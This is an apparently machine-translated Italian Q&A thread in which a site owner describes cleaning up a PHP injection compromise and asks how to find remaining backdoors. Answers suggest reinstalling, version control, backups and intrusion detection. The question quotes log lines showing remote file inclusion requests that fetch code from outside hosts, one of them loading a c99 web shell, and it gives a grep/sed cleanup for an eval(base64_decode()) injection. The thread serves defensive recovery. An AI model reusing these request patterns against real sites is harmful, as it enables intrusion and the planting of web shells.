2009-02-15 10 views
12

Una volta ogni tanto il mio ambiente di hosting condiviso viene compromesso perché, beh, non sono riuscita a mantenere aggiornato il portfolio delle app installate. La scorsa settimana, è stato a causa di un'installazione vecchia e inutilizzata di un'applicazione PHP chiamata Help Center Live. Il risultato è stato che ogni singolo file PHP sul server (e ho diverse Wordpresses, Joomlas, installazioni SilverStripe) aveva il codice aggiunto che estraeva i link cloaked da altri siti e li includeva nella mia pagina. Altre persone segnalano i loro siti bannati da Google dopo questo tipo di attacco - per fortuna mi sembra di averlo preso abbastanza presto. L'ho notato solo quando eseguivo il browswing su uno dei siti dal mio telefono: la pagina conteneva i collegamenti sul browser Mobile.PHP Injection Attack - come ripulire il casino?

ho trovato molti tentativi di attacco come questo nel registro:

62.149.18.193 - - [06/Feb/2009: 14: 52: 45 +0000] "GET /support/module.php ? module = HelpCenter // include/main.php? config [search_disp] = true & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7/dati/foto/ id2.txt ??? HTTP/1.1" 200 26 " - "" libwww-perl/5.814 "

Ho rimosso immediatamente questa appli cation e ha scritto uno script che rimuoveva il codice PHP offendente da ogni file sorgente. Ho anche scoperto che lo script aveva creato file HTML contenenti collegamenti per altri siti infetti da includere. Li ho anche rimossi. Ora sono preoccupato che l'autore dell'attacco possa aver lasciato qualcos'altro che ho perso - un file PHP da qualche parte che gli darà accesso permanente. Le date del file sono state tutte modificate nell'attacco e non sono riuscito a trovare altri file che sono stati modificati durante il tempo in questione. C'è qualcosa di ovvio che ho perso, al fine di assicurarmi che non ci siano backdoor sul mio server?

Modifica: cerco anche file di testo contenenti codice di attacco, come quello mostrato nel frammento del file di registro sopra. Non ho trovato nessuno.

Un'altra modifica: Se vi capita di imbattervi in ​​questo post perché vi trovate nella stessa situazione, forse questo vi aiuterà. Ho usato questo metodo per eseguire il backup di tutti i miei file sorgente PHP prima di manipolare loro:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \; 

e questo per annullare le modifiche che l'attaccante aveva fatto:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \; 

Non la scienza del razzo, ma non banale né per l'utente occasionale di Linux/Unix come me :-).

Un'altra modifica: Non riesco a controllare ogni riga di codice sul server, ma posso cercare dati sospetti. Ho cercato tutte le occorrenze di "eval" e "base64" e non ho trovato nulla che non fosse legittimo. Ho quindi eseguito un grep per ".ru" (dal momento che i perpetratori sembrano venire da lì) e, ecco, ho trovato qualcosa chiamato shell di c99, che ho rimosso rapidamente.

Modifica finale: Ho scoperto come è stata caricata la shell c99, attraverso un buco nella galleria fotografica di Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files 
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-" 
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] " 
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-" 

L'indirizzo IP, btw, è un IP ospitato da Godaddy.

risposta

4

Dopo che il tuo sistema è stato composto hai davvero solo due opzioni: controlla ogni riga di ogni applicazione o reinstalla tutto. Poiché sembra che siano tutti programmi open source o commerciali, probabilmente è meglio reinstallarli tutti. Non c'è davvero un modo migliore per assicurarti di non avere una backdoor in uno di questi ora.

Un esperto di sicurezza probabilmente raccomanderebbe di reinstallare completamente il sistema operativo anche perché non si può essere certi che il codice non sia stato inserito in un punto che influirà sul sistema operativo, tuttavia se le autorizzazioni sono corrette per l'impostazione eccessivo.

19

1.) Conservare un repository dei file che si stanno utilizzando per queste app (ad es.SVN o simili)

2.) Mantenere up-to-date nel miglior modo possibile con ogni apps aggiornamenti di sicurezza (la maggior parte hanno un feed RSS)

3.) Backup del vostro DB regolarmente

Se/quando il! @ # $ colpisce la ventola puoi ricominciare con una nuova copia del DB e ridistribuire il codice da SVN.

+1

La cosa bella di tenere un backup SVN è che si può facilmente individuare ciò che è cambiato e in quali file. – bart

+0

+1: questo consente anche di sviluppare facilmente all'esterno dell'ambiente di produzione – kdgregory

1

Facciamo un elenco completo di directory, tutte le unità e le cartelle, in un file di testo ogni giorno.

Ci ha aiutato a scoprire quali file sono stati manipolati, dopo il fatto, in passato.

Non molto aiuto con dove sei ora, ma potrebbe aiutare in futuro.

(Non fermare le cose fingendo la loro dimensione/data di modifica, ma contribuirà a risolvere il pasticcio per le cose che non si preoccupano)

1

In aggiunta a ciò che gli altri hanno detto è possibile installare alcuni Intrusion Detection System (ad esempio, PHPIDS, che è opensource).